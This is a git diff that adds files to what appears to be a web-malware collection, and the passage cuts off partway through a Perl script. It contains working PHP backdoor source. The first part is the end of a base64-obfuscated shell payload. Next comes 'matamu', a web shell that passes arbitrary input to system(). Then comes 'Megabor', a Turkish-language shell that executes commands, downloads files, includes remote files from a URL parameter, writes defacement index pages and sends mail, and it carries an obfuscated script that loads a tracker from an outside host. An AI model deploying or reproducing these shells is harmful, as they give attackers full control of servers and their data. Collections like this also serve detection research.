+GyhiLx9psMbp81XQSLfCBp6YHsRNUNOCKXymylTV +XWD7pwWjzJaYFl5+kKhydHZXOj48KZ4BL87PdhbX +EiEjYb6WG8PhHC3Pv1rL8/9Ay70Jcn+Os30zMjMf +yCShl86DVPBFJKcqYO/22OzqnhWrWHiRegxd5Dps +V0OvhC4QFc7Hv9l3ooa7Dj8qkYjF5EOBwSk5bthN +bWDozuq0pw2SCU3X7a4Ghr6diFiVbs6qEnQiqmIZ +fjpBCQtOfXQm26Ur0OX+lP/1v8SxuP/1v7zvwfju +cYUHDvNGOorbY34TGV8PkRfsKBoQ7bDht5QTais6 +StH0IEV0oiIiRBed1eX1uNGHvrz/yuveoP+yRVDU +dPNNnKZBqt+/VyJ1qZcAZSg2IMWW8RpnEQCTABRI +CjrCCImlPTB4DimKKE7WlLBC/GoMVYBlF+f5c07b +xOmMDvBfnNWhzpI3eKbxQBT8rcDymy4FEXGVPiS+ +pnkB5aDPtAJrWAA4oID/CBdC98YTfwobvqI0eR4E ++fh7bCHmxteSRcRgCy/z+xYvg5k8LKpBjwny3z+i +xoR6x0reJwpwUjdbkoueeAhutozKyShSgTg9yi+Q +oMOs93QHP5LyENMf3cUt360cvSG2UnmuuAbk5orR +5QESUcQUIH4AVQHx3Rvire16sXgvD3GQgQcEzwoE +QByK6eoYwUl1oA6hKacM1TOG3sEs8LknYKdhDJyC +DMVFJ468LRg1ujL2XwSt/CwsSYeK9c/wU1eumDi6 +1Kma9OmDPBL24D0Z6D6N1hqkppX+5L464OBIeZBE +tsV5W4Hw8QcWlGB7P0LPEshHjdy3w2e91PyC+HFU +zg1GYj7cjcwRxnOhD7yBq8t4JENjNB72WeKjBhbZ +U9coxJrjoW0NN9jAoiXnZoxZ/VLXbN7ju6m4aobF +8oM9StJ7rKaOT7CmNmNb8IOw4xvk2pZ4lFWlIclr +lQ8ZSX1QOj7+XK18gUwZTFBJKRSyKZdE8WRCTNQb +kxTrpg0q62kDlsp9A0nBQRRZimf/cC5nqyHm/nRi +vdlpJ0ZdLq1wMFRZ45OqCVPPJVJuqTyWSjqptuxJ +e5jMrSzEpsTgw1ce42AwWRPxJNoCTLH8He0F0rIL +aysLiYR7vG82yuVpKPGWOaKky+X4kPxyKo3Z/AEv +AJBfsgsRL3iJZz5EaD8SAZTzhOSG0ddz6XjLcJ/E +eCmj1zin86Gczj+X089gC2bwl9VkJ2QX3Ev6L2Lb +6jPZ9hJ+ZQXDcivhsrnyXJblVgM8i30U8wWFK7yN +8d3J29jW9LXWR2tAqkE+EMfPC9zG2MffvbucbpYz +sdyKewj4rAQaiL9vcZCPGY70mVXLMwGhlbuZU6qX +QC8kAJ14oZXzjCkVI8ALK3X33MOZrmRPY7wD9lLm +o+UXznmeM43tCPHSeqVbKbxuN3da/RJqJg0fM7ws +DCyPKiEtk3V1b955HnO+uSGtzg3CLbawsrwQfSjo +95C0jWTM1GOwUAvXcxLwb58dXqjl8ktcy4Uruf8g +HccDzYWIm4hAFy1pZF++UNJFyMqwakUwy2n1IsiL +NYwScDFUxagBGacQoQC+kBQ3zF8IHUoMwClESKgX +j3W6f/OMwZ7P5qcNd45uObfgudb0t4/Rl4zQZWEh +L4UO0KVn221TTWTxVOkM2815uzmRmq6Rn83Lf0Dh +ZbOvys8QQVMZivdwaM3hlbOIqWLw9Noc/fA3S+fS +P8tOcUNsbo7irbT/Mo7ms0v/JEfVO0TzslUt89/G +3fzy385dx+ChZwRuYzmYOIXtw29WgO0TsKhlhsJ+ +Z7JUvoTPjrJjxMWN/zYdsiIW2uGuidyzfRNLq9Mk +3gk5tQBo/La+G49KMfaVRLD2yV1LBj/n5VRKPkyz +QpzAWVMo6YZR0uWUYGTJeQlZm4OQwTRCBmGEDDgh +8vGaOYnJBZxHz/DHLWVndy4379ZXI9oibp//Hp4M +7VEGYXBl5xlOocNQBFF70WBb+9sV4OtO2NO7Q1yh +W1jJBrrCuYX3e+DWH/aAe39bdoCKMhpjJMKf61K6 +rvgf2qH5f6JDn8er/N/PK9qEeZmBJUyAfDjH8i8w +AlamGq1WO1QZYboqrfz3Bo9U+3wRLQ3NwaCLpxUb ++PL6AIjEYIh4pgVv6De1Pp1nkfeRI19Hf6FHfuVv +t4s/vLLlNtVKoKvYrkEcZQoT2H/dCmP9n+Qkxb+e +zUkC+zdy8oW8zInpNBexg+nbwpSb0c0uTEUF+p5T +d6Y9r1nFXmsapgv92AV+FSRu+v/uT/j5CZMQ/QOT +gPdNtHk6LCe0f3iHiWQbuDgaIrtb9FXHlRp2zcga +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 +a3TC11S/OK//Aw== +'))); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/matamu.txt b/web-malware-collection-master/Backdoors/PHP/matamu.txt new file mode 100755 index 0000000..ef13ce8 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/matamu.txt @@ -0,0 +1,146 @@ +<?php + +define('PHPSHELL_VERSION', '1.7'); + +?> + +<html> +<head> +<title> Matamu Mat </title> +</head> +<body> +<hr><br> + +<?php + +if (ini_get('register_globals') != '1') { + /* We'll register the variables as globals: */ + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); +} + +/* First we check if there has been asked for a working directory. */ +if (!empty($work_dir)) { + /* A workdir has been asked for */ + if (!empty($command)) { + if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { + /* We try and match a cd command. */ + if ($regs[1][0] == '/') { + $new_dir = $regs[1]; // 'cd /something/...' + } else { + $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...' + } + if (file_exists($new_dir) && is_dir($new_dir)) { + $work_dir = $new_dir; + } + unset($command); + } + } +} + +if (file_exists($work_dir) && is_dir($work_dir)) { + /* We change directory to that dir: */ + chdir($work_dir); +} + +/* We now update $work_dir to avoid things like '/foo/../bar': */ +$work_dir = exec('pwd'); + +?> + +<form name="myform" action="<?php echo $PHP_SELF ?>" method="post"> +<p>Current working directory: <b> +<?php + +$work_dir_splitted = explode('/', substr($work_dir, 1)); + +echo '<a href="' . $PHP_SELF . '?work_dir=/">Root</a>/'; + +if (!empty($work_dir_splitted[0])) { + $path = ''; + for ($i = 0; $i < count($work_dir_splitted); $i++) { + $path .= '/' . $work_dir_splitted[$i]; + printf('<a href="%s?work_dir=%s">%s</a>/', + $PHP_SELF, urlencode($path), $work_dir_splitted[$i]); + } +} + +?></b></p> +<p>Choose new working directory: +<select name="work_dir" onChange="this.form.submit()"> +<?php +/* Now we make a list of the directories. */ +$dir_handle = opendir($work_dir); +/* Run through all the files and directories to find the dirs. */ +while ($dir = readdir($dir_handle)) { + if (is_dir($dir)) { + if ($dir == '.') { + echo "<option value=\"$work_dir\" selected>Current Directory</option>\n"; + } elseif ($dir == '..') { + /* We have found the parent dir. We must be carefull if the parent + directory is the root directory (/). */ + if (strlen($work_dir) == 1) { + /* work_dir is only 1 charecter - it can only be / There's no + parent directory then. */ + } elseif (strrpos($work_dir, '/') == 0) { + /* The last / in work_dir were the first charecter. + This means that we have a top-level directory + eg. /bin or /home etc... */ + echo "<option value=\"/\">Parent Directory</option>\n"; + } else { + /* We do a little bit of string-manipulation to find the parent + directory... Trust me - it works :-) */ + echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n"; + } + } else { + if ($work_dir == '/') { + echo "<option value=\"$work_dir$dir\">$dir</option>\n"; + } else { + echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; + } + } + } +} +closedir($dir_handle); + +?> + +</select></p> + +<p>Command: <input type="text" name="command" size="60"> +<input name="submit_btn" type="submit" value="Execute Command"></p> + +<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p> +<textarea cols="80" rows="20" readonly> + +<?php +if (!empty($command)) { + if ($stderr) { + $tmpfile = tempnam('/tmp', 'phpshell'); + $command .= " 1> $tmpfile 2>&1; " . + "cat $tmpfile; rm $tmpfile"; + } else if ($command == 'ls') { + /* ls looks much better with ' -F', IMHO. */ + $command .= ' -F'; + } + system($command); +} +?> + +</textarea> +</form> + +<script language="JavaScript" type="text/javascript"> +document.forms[0].command.focus(); +</script> + +<hr> + +</body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/megabor.txt b/web-malware-collection-master/Backdoors/PHP/megabor.txt new file mode 100755 index 0000000..034a935 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/megabor.txt @@ -0,0 +1,662 @@ +<? +/*########################################### +Shell +Bu Shell kodların derlemesi Megabros tarafından yapılmıştır.. +Yapımcı Ve derleyeN : Megabros +###########################################*/ +error_reporting(0); +set_magic_quotes_runtime(0); + +if(version_compare(phpversion(), '4.1.0') == -1) + {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; +if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);} +elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} +else{return $requ."?".$link."=".$val;}} +function delm($delmtxt){print"<center><table bgcolor=Maroon style='border:1px red ' width=99% height=2%>";print"<tr><td><b><center><font size=3 color=red >$delmtxt</td></tr></table></center>";} +function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); +$nscmd=htmlspecialchars($scmd);print $nscmd;} +elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); +$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} +elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); +while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; +print $res;}pclose($pcmd);}elseif(!function_exists(popen)){ +ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ +ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); +print htmlspecialchars($pret);}} +function input($type,$name,$value,$size) +{if (empty($value)){print "<input type=$type name=$name size=$size>";} +elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} +elseif(empty($size)){print "<input type=$type name=$name value=$value >";} +else {print "<input type=$type name=$name value=$value size=$size >";}} +function permcol($path){if (is_writable($path)){print "<font color=red>"; +callperms($path); print "</font>";} +elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red >"; +callperms($path); print "</font>";} +else {print "<font color=red >";callperms($path);}} +if ($dlink=="dwld"){download($_REQUEST['dwld']);} +function download($dwfile) {$size = filesize($dwfile); +@header("Content-Type: application/force-download;name=$dwfile"); +@header("Content-Transfer-Encoding: binary"); +@header("Content-Length: $size"); +@header("Content-Disposition: attachment; filename=$dwfile"); +@header("Expires: 0"); +@header("Cache-Control: no-cache, must-revalidate"); +@header("Pragma: no-cache"); +@readfile($dwfile); exit;} +?> + +<? include $_GET['baba']; ?> +<html> +<head><title>Wardom | Ne Mutlu Türk'üm Diyene! | Edited By KingDefacer</title></head> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> +<style> +BODY { SCROLLBAR-BASE-COLOR: darkred ; SCROLLBAR-ARROW-COLOR: red; } +a{color:#FF0000;text-decoration:none;font-family:tahoma;font-size:13px} +a:hover{color:red} +input{FONT-WEIGHT:normal;background-color: #FFFFFF;font-size: 12px; color: #FF0000; font-family: Tahoma; border: 1px solid #666666;height:17} +textarea{background-color:#FFFFFF;color:#FF0000;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #FF0000;} +div{font-size:12px;font-family:tahoma;font-weight:normal;color:red smoke} +select{background-color: #FFFFFF; font-size: 12px; color: #FF0000; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style> +<body bgcolor=DarkRed text=white ><font face="sans ms" size=3> +</body> +</html> +<? +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); + +$sf="<form method=post>";$ef="</form>"; +$st="<table style=\"border:1px #FF0000 solid \" width=100% height=100%>"; +$et="</table>";$c1="<tr><td height=22% style=\"border:1px #FF0000 solid \">"; +$c2="<tr><td style=\"border:1px #FF0000 solid \">";$ec="</tr></td>"; +$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; +$sfnt="<font face=tahoma size=2 color=red >";$efnt="</font>"; +################# Ending of common variables ######################## + +//header table 1 +print"<table bgcolor=#191919 style=\"border:2px #FF0000 solid \" width=100% height=%>";print"<tr><td>"; print"<b> +<center><font face=Wingdings color=#FFFFFF size=7> Z</font><font face=tahoma color=red size=7> TÜRK <font face=tahoma color=white size=7> SHELL +</font></font> <font face=Wingdings color=red size=7> F</font><font face=Wingdings color=red size=8>N +</font></b></center>"; print"</td></tr>";print"</table>";print "<br>"; + +//header table 2 +print"<table bgcolor=#191919 style=\"border:2px #FF0000 solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>"; + +//start header2 links +//home +print "<a href=".inclink('dlink', 'home').">AnaSayfa</a>"; +//go back +print " - <a href='javascript:history.back()'>Geri</a>"; +//php info1 +print " - <a target='_blank' href=".inclink('dlink', 'phpinfo').">Php Bilgi</a>"; +//phpinfo2 +if ($dlink=='phpinfo'){print phpinfo();die();} +//base64 decode1 +print " - <a href=".inclink('dlink', 'basepw').">Base64 Çözücü</a>"; +//url decode1 +print " - <a href=".inclink('dlink', 'urld').">Url Kod Çözücü</a>"; +//url encode1 +print " - <a href=".inclink('dlink', 'urlen').">Url Kodlayıcı</a>"; +//MD51 +print " - <a href=".inclink('dlink', 'mdf').">Md5</a>"; +//permission check1 +print " - <a href=".inclink('dlink', 'perm')."&scdir=$nscdir>İzinler</a>"; +//show file source +print " - <a href=".inclink('dlink', 'showsrc')."&scdir=$nscdir>Dosya Kaynağı</a>"; +//quick index1 +print " - <a href=".inclink('dlink', 'qindx')."&scdir=$nscdir>İndex Hazırla</a>"; +//send mail +print " - <a href=".inclink('dlink', 'mail')."&scdir=$nscdir>Mail</a>"; +//Command helper +print " - <a href=".inclink('dlink', 'cmdhlp')."&scdir=$nscdir>Cmd Yardım</a>"; +//end of links + +//base64 decode2 +if (isset ($_REQUEST['ncbase'])){ +$cbase =(base64_decode ($_REQUEST['ncbase'])); +print "<p>Result is : $sfnt".$cbase."$efnt"; die();} +if ($dlink=="basepw"){ +print "<p><b>[ Base64 - Çözücü ]</b>"; +print $sf; +input ("text","ncbase",$ncbase,35);print " "; +input ("submit","","Çöz","");print $ef; die();} + +//url decode2 +if (isset ($_REQUEST['nurld'])){ +$urldc =(urldecode ($_REQUEST['nurld'])); +print "<p>Result is : $sfnt".$urldc."$efnt"; die();} +if ($dlink=='urld'){ +print "<p><b>[ Url - Çözücü ]</b>"; +print $sf; +input ("text","nurld",$nurld,35);print " "; +input ("submit","","Çöz","");print $ef; die();} + +//url encode2 +if (isset ($_REQUEST['nurlen'])){ +$urlenc =(urlencode (stripslashes($_REQUEST['nurlen']))); +print "<p>Result is : $sfnt".$urlenc."$efnt"; die();} +if ($dlink=='urlen'){ +print "<p><b>[ Url - Şifreleme ]</b>"; +print $sf; +input ("text","nurlen",$nurlen,35);print " "; +input ("submit","","Şifrele","");print $ef; die();} + +//MD52 +if (isset ($_REQUEST['nmdf'])){ +$mdfe =(md5 ($_REQUEST['nmdf'])); +print "<p>Result is : $sfnt".$mdfe."$efnt"; die();} +if ($dlink=='mdf'){ +print "<p><b>[ MD5 - Şifreleme ]</b>"; +print $sf; +input ("text","nmdf",$nmdf,35);print " "; +input ("hidden","scdir",$scdir,22); +input ("submit","","Şifrele","");print $ef;die(); } + +//chk permission2 +if ($dlink=='perm'){ +print $sf;input("submit","mfldr","Ana-Klasör","");print " "; +input("submit","sfldr","Alt-Klasör","");print $ef; + +print "<pre>"; +print "<p><textarea cols=120 rows=12>"; +if (isset($_REQUEST['mfldr'])){ +callfuncs('find . -type d -perm -2 -ls'); +}elseif (isset($_REQUEST['sfldr'])){ +callfuncs('find ../ -type d -perm -2 -ls'); +}print "</textarea>";print "</pre>";die();} +//show file sources +function callshsrc($showsc){ +if(isset($showsc)&&filesize($showsc)=="0"){ +print "<p><b>[ Sorry, U choosed an empty file or the file not exists ]";die();} +elseif(isset($showsc)&&filesize($showsc) !=="0") { +print "<p><table width=100% height=10% bgcolor=#FF0000 border=1><tr><td>"; +if (!show_source($showsc)||!function_exists('show_source')){print "<center><font color=white size=2><b>[ Sorry can't complete the operation ]</font></center>";die();}print "</td></tr></table>";die();}}if ($dlink=='showsrc'){ +print "<p><b>: TurkShell Php editörüyle istediğiniz bir php dosyasını görüntüleyebilmek için, dosya adını bütün dizinleriyle beraber yazınız. :";print "<form method=get>"; +input ("text","showsc","",35);print " "; +input ("hidden","scdir",$scdir,22);input ("submit","subshsc","Görüntüle","");print $ef; die();}if(isset($_REQUEST['showsc'])){callshsrc(trim($_REQUEST['showsc']));} +if ($dlink=='cmdhlp'){ +print "<p><b>: Komutu Aşağıya Ekle ve Biz Ne İşe Yaradığı Hakkında Yardımcı Olalım :";print "<form method=get>"; +input ("text","hlp","",35);print " "; +input ("submit","","Yardım","");print $ef; die();} +if (isset ($_REQUEST['hlp'])){$hlp=$_REQUEST['hlp']; +print "<p><b>[ Yazılan Komut: $sfnt".$hlp."$efnt ]"; +$hlp = escapeshellcmd($hlp);print "<p><table width=100% height=30% bgcolor=#FF0000 border=2><tr><td>"; +if (!function_exists(shell_exec)&&!function_exists(exec)&& +!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print "<center><font color=white size=2><b>[ Sorry can't complete the operation ]</font></center>";}else {print "<pre><font color=white>"; +if(!callfuncs("man $hlp | col -b")){print "<center><font size=2><b>[ Bitti. ]";}print "</pre></font>";}print "</td></tr></table>";die();} +if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt'])) +{if (touch ($_REQUEST['indx'])==true){ +$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt'])); +fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Yeniden Editle</a> +] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}} +if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt> +İndex kodlarını buraya yaz</textarea></p>"; +input ("text","indx","İndex Adı",35);print " "; +input ("submit","qindsub","Oluştur","");print $ef;die();} +if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){ +$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt']; +if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();} +if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt> +Mesajını buraya yaz</textarea></p>";input ("text","mailto","mail adresi",35);print " ";input ("text","subj","Başlık",20);print " "; +input ("submit","mailsub","Gönder","");print $ef;die();} +if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);} +function callzone($nscdir){ +if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";} +else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";} +fwrite ($fpz,"\$arq = @ARGV[0]; +\$grupo = @ARGV[1]; +chomp \$grupo; +open(a,\"<\$arq\"); +@site = <a>; +close(a); +\$b = scalar(@site); +for(\$a=0;\$a<=\$b;\$a++) +{chomp \$site[\$a]; +if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; } +print \"[+] Sending \$site[\$a]\n\"; +use IO::Socket::INET; +\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next; +print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\"; +print \$sock \"Accept: */*\r\n\"; +print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\"; +print \$sock \"Accept-Language: pt-br\r\n\"; +print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\"; +print \$sock \"Connection: Keep-Alive\r\n\"; +print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\"; +print \$sock \"Host: old.zone-h.org\r\n\"; +print \$sock 